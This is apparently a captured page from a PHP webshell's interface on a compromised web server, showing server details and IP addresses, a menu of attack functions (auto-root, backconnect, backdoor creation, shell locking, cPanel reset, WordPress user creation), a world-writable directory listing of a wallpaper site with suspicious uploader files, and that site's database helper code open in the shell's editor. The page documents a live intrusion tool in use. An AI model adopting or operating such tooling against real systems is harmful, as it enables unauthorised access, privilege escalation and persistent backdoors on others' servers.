Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
berripix /
public_html /
[ HOME SHELL ]
Name
Size
Permission
Action
angels
[ DIR ]
drwxrwxrwx
berribo
[ DIR ]
drwxrwxrwx
cgi-bin
[ DIR ]
drwxrwxrwx
cherribo
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
font
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
pixbo
[ DIR ]
drwxrwxrwx
preview
[ DIR ]
drwxrwxrwx
thumbnail
[ DIR ]
drwxrwxrwx
wallpapers
[ DIR ]
drwxrwxrwx
.htaccess
425
B
-rw-r--r--
BingSiteAuth.xml
85
B
-rw-rw-r--
actions.php
2.17
KB
-rwxrwxrwx
berribo.zip
5.53
MB
-rw-rw-r--
berripix.zip
26.75
MB
-rwxrwxrwx
check.php
703
B
-rw-r--r--
check1.php
703
B
-rw-r--r--
cherribo.zip
5.54
MB
-rw-rw-r--
datasource.php
1.48
KB
-rw-r--r--
dbhelper.php
8.82
KB
-rwxrwxrwx
detail.php
81.81
KB
-rwxrwxrwx
index.php
48.23
KB
-rwxrwxrwx
index2.php
11.24
KB
-rwxrwxrwx
index4.php
67.43
KB
-rw-rw-r--
index5.php
4.36
KB
-rw-rw-r--
index_old.php
141.32
KB
-rw-rw-r--
log.txt
62.58
KB
-rwxrwxrwx
manifest.json
458
B
-rw-rw-r--
mass.php
703
B
-rw-r--r--
q.php
3
B
-rw-r--r--
q.txt
3
B
-rw-r--r--
robots.txt
69
B
-rw-rw-r--
robots.txt.php
1
B
-rw-r--r--
search.php
48.86
KB
-rw-rw-r--
sitemap.xml
84.67
KB
-rw-rw-r--
slugify.php
243
B
-rw-rw-r--
terms_of_service.php
71.54
KB
-rw-rw-r--
test.php
232
B
-rw-rw-r--
u.php
204
B
-rw-r--r--
up.php
289
B
-rw-r--r--
uploader.php
350
B
-rw-r--r--
wimage.php
1.12
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dbhelper.php
<?php date_default_timezone_set("Asia/Kuching"); class DBHelper { private $db; function __construct() { require_once(__DIR__ . "/datasource.php"); $this->db = new DataSource(); } public function log($message) { $myfile = fopen("./log.txt", "a") or die("Unable to open file!"); $txt = $message . "\n"; fwrite($myfile, $txt); fclose($myfile); } function getClientIP() { $clientIP = $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER["HTTP_CF_CONNECTING_IP"] # when behind cloudflare ?? $_SERVER['HTTP_X_FORWARDED'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_FORWARDED'] ?? $_SERVER['HTTP_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0'; return $clientIP; } function getCategories() { $query = "SELECT category, count(id) as count from wallpapers where category is not null and active=1 group by category;"; return $this->db->select($query); } function getTotalWallpapers($category) { if (!empty($category)) { $query = "SELECT count(id) as count from wallpapers where category = :category and active=1"; $params = ['category' => $category]; return $this->db->select($query, $params)[0]['count']; } else { $query = "SELECT count(id) as count from wallpapers WHERE active=1 and category is not null"; return $this->db->select($query); } } function getWallpaperlist($category, $page, $seed, $orientation) { $page = $page ?? 1; $limit = 15; $offset = ($page - 1) * $limit; $where = "active = 1"; $params = ['seed' => $seed]; // Handle orientation if ($orientation === 'portrait') { $where .= " AND ratio < 1"; } elseif ($orientation === 'landscape') { $where .= " AND ratio > 1"; } // Handle category filter if (!empty($category)) { $where .= " AND category = :category"; $params['category'] = $category; } // Final query $query = "SELECT * FROM wallpapers WHERE $where ORDER BY MD5(CONCAT(:seed, id)) LIMIT $limit OFFSET $offset"; try { $result = $this->db->select($query, $params); } catch (PDOException $e) { $this->log("DB Error: " . $e->getMessage()); } return $result; } function getWallpaperlistByTags($tags, $page) { $page = $page ?? 1; $limit = 15; $offset = ($page - 1) * $limit; $query = "SELECT * FROM wallpapers WHERE active=1 AND MATCH(tags, category) AGAINST(:tag IN BOOLEAN MODE) order by created desc LIMIT $limit OFFSET $offset"; $params = ['tag' => $tags]; $result = $this->db->select($query, $params); return $result; } function addSearchKeyword($tag) { $query = "INSERT INTO search_keywords (keyword, ip, created) VALUE (:keyword, :ip, :created)"; $params = ['keyword' => $tag, 'ip' => $this->getClientIP(), 'created' => date("Y-m-d H:i:s")]; return $this->db->execute($query, $params); } function getWallpaperlistByTagsWithoutMainId($tags, $id) { $query = "SELECT * FROM wallpapers WHERE id != :id AND active=1 AND MATCH(tags, category) AGAINST(:tag IN BOOLEAN MODE) AND id >= (SELECT FLOOR(RAND() * (MAX(id) - MIN(id)) + MIN(id)) FROM wallpapers) LIMIT 10;"; $params = ['tag' => $tags, 'id' => $id]; return $this->db->select($query, $params); } function getWallpapers($category, $page_size, $page_number) { if (!empty($category)) { $query = "SELECT * from wallpapers where category=:category AND active=1 order by id LIMIT " . $page_size; if ($page_number * $page_size > 0) { $query = "SELECT * from wallpapers where category=:category AND active=1 order by id LIMIT " . $page_size . " OFFSET " . ($page_number * $page_size); } $params = ['category' => $category]; return $this->db->select($query, $params); } else { $query = "SELECT * from wallpapers where category is not null AND active=1 order by id LIMIT " . $page_size; if ($page_number * $page_size > 0) { $query = "SELECT * from wallpapers where category is not null AND active=1 order by id LIMIT " . $page_size . " OFFSET " . ($page_number * $page_size); } $params = []; return $this->db->select($query, $params); } } function getWallpaperInfo($id) { $query = "SELECT * from wallpapers where id=:id AND active=1"; $params = ['id' => $id]; return $this->db->select($query, $params); } function getWallpaperInfoBySlug($slug) { $query = "SELECT * FROM wallpapers WHERE url_title = :slug AND active = 1"; $params = ['slug' => $slug]; return $this->db->select($query, $params); } function slugify($text) { $text = preg_replace('~[^\pL\d]+~u', '-', $text); $text = iconv('utf-8', 'us-ascii//TRANSLIT', $text); $text = preg_replace('~[^-\w]+~', '', $text); $text = trim($text, '-'); $text = preg_replace('~-+~', '-', $text); return strtolower($text ?: 'n-a'); } function generateUniqueSlug($title) { $baseSlug = $this->slugify($title); $slug = $baseSlug; $i = 1; while (true) { $existing = $this->db->select("SELECT id FROM wallpapers WHERE url_title = ?", [$slug]); if (empty($existing)) { return $slug; } $slug = $baseSlug . '-' . $i; $i++; } } function convertWallpaperSlugify() { $rows = $this->db->select("SELECT id, title FROM wallpapers"); foreach ($rows as $row) { $slug = $this->generateUniqueSlug($row['title']); $this->db->execute("UPDATE wallpapers SET url_title = ? WHERE id = ?", [$slug, $row['id']]); } } function addViewStatistic($wallpaper_id, $target) { $query = "INSERT INTO view_ips (wallpaper_id, target, ip, created) VALUE (:wallpaper_id, :target, :ip, :created)"; $params = ['wallpaper_id' => $wallpaper_id, 'target' => $target, 'ip' => $this->getClientIP(), 'created' => date("Y-m-d H:i:s")]; return $this->db->execute($query, $params); } function addWallpaperDownloadCount($wallpaper_id) { $query = "UPDATE wallpapers SET total_downloads=total_downloads + 1 where id = :id"; $params = [ 'id' => $wallpaper_id ]; try { $result = $this->db->execute($query, $params); $this->addViewStatistic($wallpaper_id, 'Download'); return $result; } catch (Exception $e) { $this->db->log($e); } } function addWallpaperViewCount($wallpaper_id) { $query = "UPDATE wallpapers SET total_views=total_views + 1 where id = :id"; $params = [ 'id' => $wallpaper_id ]; try { $result = $this->db->execute($query, $params); $this->addViewStatistic($wallpaper_id, 'View'); return $result; } catch (Exception $e) { $this->db->log($e); } } /* function getImageDetails($url) { $size = @getimagesize($url); if ($size === false) { return null; // Invalid or unreachable image } $width = $size[0]; $height = $size[1]; $ratio = $width / $height; return [ 'width' => $width, 'height' => $height, 'ratio' => $ratio, ]; } function updateAllWallpaperImageInfo() { $query = "SELECT * from wallpapers"; $wallpapers = $this->db->select($query, []); foreach ($wallpapers as $wp) { $url = $wp['thumbnail']; $id = $wp['id']; $details = $this->getImageDetails($url); if ($details) { $width = $details['width']; $height = $details['height']; $ratio = round($details['ratio'], 6); $this->db->execute("UPDATE wallpapers SET width = :width, height = :height, ratio = :ratio WHERE id = :id", ['width'=> $width, 'height' => $height, 'ratio' => $ratio, 'id' => $id]); } } return 'Completed'; } */ }
Close